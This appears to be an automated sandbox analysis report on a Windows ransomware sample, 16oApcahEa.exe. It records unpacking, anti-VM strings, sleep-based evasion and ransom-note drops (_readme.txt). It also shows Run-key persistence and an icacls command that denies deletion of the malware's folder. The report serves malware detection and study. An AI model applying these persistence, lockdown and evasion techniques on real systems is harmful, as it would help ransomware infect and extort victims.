Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\l source: 16oApcahEa.exe, 00000006.00000003.2531251132.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531026694.0000000003148000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\6 source: 16oApcahEa.exe, 00000006.00000003.2671409961.00000000035E9000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2676819721.00000000035D4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\w source: 16oApcahEa.exe, 00000006.00000003.2402881218.000000000319A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2404765626.0000000003192000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2401102742.0000000003194000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\y source: 16oApcahEa.exe, 00000006.00000003.2650308082.00000000035FC000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2628652314.0000000003622000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2649360466.00000000035ED000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2647839049.0000000003587000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: 16oApcahEa.exe, 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, 16oApcahEa.exe, 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 16oApcahEa.exe, 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, 16oApcahEa.exe, 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 16oApcahEa.exe, 00000007.00000002.3282232782.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 16oApcahEa.exe, 00000008.00000002.2208558716.0000000004CD0000.00000040.00001000.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000A.00000002.2219098223.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000B.00000002.2290687050.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000C.00000002.2299360619.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\w\{ source: 16oApcahEa.exe, 00000006.00000003.2670397971.00000000032CF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ source: 16oApcahEa.exe, 00000006.00000003.2372068192.0000000003174000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2403249511.0000000003175000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2401640276.0000000003175000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2391853654.0000000003175000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2412967181.0000000003173000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2575227103.0000000003188000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.0000000003173000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574208274.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530895578.0000000003184000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574506929.0000000003179000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003173000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: 16oApcahEa.exe, 00000006.00000003.2599150765.00000000033BE000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574043200.0000000003278000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2607621022.00000000033E6000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574727430.00000000032D8000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2573681960.00000000033E5000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598612147.00000000033BD000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574666578.0000000003285000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2573470738.0000000003278000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\cal Se source: 16oApcahEa.exe, 00000006.00000003.2656864681.00000000035A5000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2655793338.0000000003590000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\rup\gufeyeruci\noxijij\fohopejupa\wotuka\rib-padajedisurepi\g.pdbpqJ source: 16oApcahEa.exe
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\*{j source: 16oApcahEa.exe, 00000006.00000003.2402881218.000000000319A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2404765626.0000000003192000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2401102742.0000000003194000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: 16oApcahEa.exe, 00000006.00000003.2659984030.000000000365F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2655582040.000000000363E000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2650308082.0000000003689000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2658259484.0000000003647000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\ source: 16oApcahEa.exe, 00000006.00000003.2574989354.0000000003267000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530574907.0000000003266000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574356051.0000000003266000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531089711.0000000003266000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2573470738.0000000003266000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\) source: 16oApcahEa.exe, 00000006.00000003.2627886337.0000000003271000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2650083265.0000000003267000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2651269787.0000000003275000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2648975953.0000000003267000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2648439701.0000000003267000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: 16oApcahEa.exe, 00000006.00000003.2648315935.00000000032C4000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2650561800.00000000032E0000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2628546874.00000000032DF000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2627346648.00000000032DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\" source: 16oApcahEa.exe, 00000006.00000003.2598457927.0000000003551000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2628989933.0000000003551000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2649958078.0000000003569000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\! source: 16oApcahEa.exe, 00000006.00000003.2608715299.0000000003569000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\)t source: 16oApcahEa.exe, 00000006.00000003.2574208274.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530699362.000000000319A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574283198.0000000003198000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003173000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\40\ source: 16oApcahEa.exe, 00000006.00000003.2412967181.0000000003173000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2413305123.0000000003196000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\* source: 16oApcahEa.exe, 00000006.00000003.2412967181.0000000003137000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: 16oApcahEa.exe, 00000006.00000003.2676291403.0000000003666000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2677093873.0000000003714000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2676488102.00000000036DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*ory\\\ source: 16oApcahEa.exe, 00000006.00000003.2530950914.0000000003120000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\*c source: 16oApcahEa.exe, 00000006.00000003.2628989933.0000000003551000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2649958078.0000000003569000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: 16oApcahEa.exe, 00000006.00000003.2608529242.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2628652314.00000000035BC000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2628279440.00000000035BC000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\16oApcahEa.exe	Unpacked PE file: 2.2.16oApcahEa.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rihuj:ER;.bek:ER;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\Desktop\16oApcahEa.exe	Unpacked PE file: 6.2.16oApcahEa.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rihuj:ER;.bek:ER;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Unpacked PE file: 7.2.16oApcahEa.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rihuj:ER;.bek:ER;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Unpacked PE file: 10.2.16oApcahEa.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rihuj:ER;.bek:ER;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Unpacked PE file: 12.2.16oApcahEa.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rihuj:ER;.bek:ER;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\16oApcahEa.exe	Unpacked PE file: 2.2.16oApcahEa.exe.400000.0.unpack
Source: C:\Users\user\Desktop\16oApcahEa.exe	Unpacked PE file: 6.2.16oApcahEa.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Unpacked PE file: 7.2.16oApcahEa.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Unpacked PE file: 10.2.16oApcahEa.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Unpacked PE file: 12.2.16oApcahEa.exe.400000.0.unpack

Source: C:\Users\user\Desktop\16oApcahEa.exe

Code function: 2_2_00412220 GetCommandLineW,CommandLineToArgvW,PathFindFileNameW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,K32EnumProcesses,OpenProcess,K32EnumProcessModules,K32GetModuleBaseNameW,CloseHandle,

2_2_00412220

Source: 16oApcahEa.exe	Static PE information: section name: .rihuj
Source: 16oApcahEa.exe	Static PE information: section name: .bek
Source: 16oApcahEa.exe.2.dr	Static PE information: section name: .rihuj
Source: 16oApcahEa.exe.2.dr	Static PE information: section name: .bek

Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04BF00AF push ecx; retf	0_2_04BF00B2
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04D08F05 push ecx; ret	0_2_04D08F18
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00428565 push ecx; ret	2_2_00428578
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_0329C0AF push ecx; retf	4_2_0329C0B2
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04D08F05 push ecx; ret	4_2_04D08F18
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04B010AF push ecx; retf	5_2_04B010B2
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D78F05 push ecx; ret	5_2_04D78F18
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050D050 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050D008 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050D028 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050D090 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050D0A8 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050D318 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050C4E0 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050D550 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00428565 push ecx; ret	6_2_00428578
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050D698 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050C960 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050C928 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050C988 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050C9A8 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050CB78 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050CD60 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050CDF0 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050CE58 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050CF28 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050CFC0 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050CF90 push eax; retn 004Dh	6_2_0050D6B5

Source: 16oApcahEa.exe	Static PE information: section name: .text entropy: 7.978469956871212
Source: 16oApcahEa.exe.2.dr	Static PE information: section name: .text entropy: 7.978469956871212

Persistence and Installation Behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\16oApcahEa.exe

System file written: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\LocalState\ThirdPartyNotice.html

Jump to behavior

Source: C:\Users\user\Desktop\16oApcahEa.exe

File created: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe

Jump to dropped file

Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\$WinREAgent\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\$WinREAgent\Scratch\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\_readme.txt	Jump to behavior

Source: C:\Users\user\Desktop\16oApcahEa.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior

Source: C:\Users\user\Desktop\16oApcahEa.exe

Code function: 2_2_00481920 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

2_2_00481920

Source: C:\Users\user\Desktop\16oApcahEa.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\16oApcahEa.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Users\user\Desktop\16oApcahEa.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Source: C:\Users\user\Desktop\16oApcahEa.exe

Code function: 0_2_04BEE71C rdtsc

0_2_04BEE71C

Source: C:\Users\user\Desktop\16oApcahEa.exe

Code function: 6_2_00481920 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,NetStatisticsGet,NetStatisticsGet,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateToolhelp32Snapshot,GetTickCount,Heap32ListFirst,Heap32First,Heap32Next,GetTickCount,Heap32ListNext,GetTickCount,GetTickCount,GetTickCount,Process32First,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

6_2_00481920

Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,		2_2_0040E670
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,		6_2_0040E670

Source: C:\Users\user\Desktop\16oApcahEa.exe

Thread delayed: delay time: 700000

Jump to behavior

Source: C:\Users\user\Desktop\16oApcahEa.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_2-45040

Source: C:\Users\user\Desktop\16oApcahEa.exe TID: 6112	Thread sleep time: -700000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe TID: 4308	Thread sleep count: 155 > 30

Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	2_2_00410160
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	2_2_0040F730
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	2_2_0040FB98
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	6_2_0040F730
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00410160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	6_2_00410160
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	6_2_0040FB98

Source: C:\Users\user\Desktop\16oApcahEa.exe

Thread delayed: delay time: 700000

Jump to behavior

Source: 16oApcahEa.exe, 00000002.00000002.2077399263.0000000000756000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000002.00000003.2067319993.0000000000756000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW:
Source: 16oApcahEa.exe, 00000002.00000002.2077399263.0000000000737000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 16oApcahEa.exe, 00000007.00000002.3282500869.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: 16oApcahEa.exe, 0000000A.00000002.2220546409.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000A.00000003.2218391763.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000A.00000003.2217943479.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWW}>
Source: 16oApcahEa.exe, 00000002.00000002.2077399263.0000000000756000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000002.00000002.2077399263.00000000006F8000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000002.00000003.2067319993.0000000000756000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2121908039.0000000000782000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000002.2683985860.0000000000782000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000002.2683985860.00000000006F8000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000007.00000002.3282500869.0000000000855000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000A.00000002.2220546409.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000A.00000003.2218391763.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000A.00000003.2217943479.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 16oApcahEa.exe, 00000006.00000003.2121908039.0000000000782000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000002.2683985860.0000000000782000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8AU

Source: C:\Users\user\Desktop\16oApcahEa.exe

API call chain: ExitProcess graph end node

graph_2-45042

Source: C:\Users\user\Desktop\16oApcahEa.exe

Process information queried: ProcessInformation

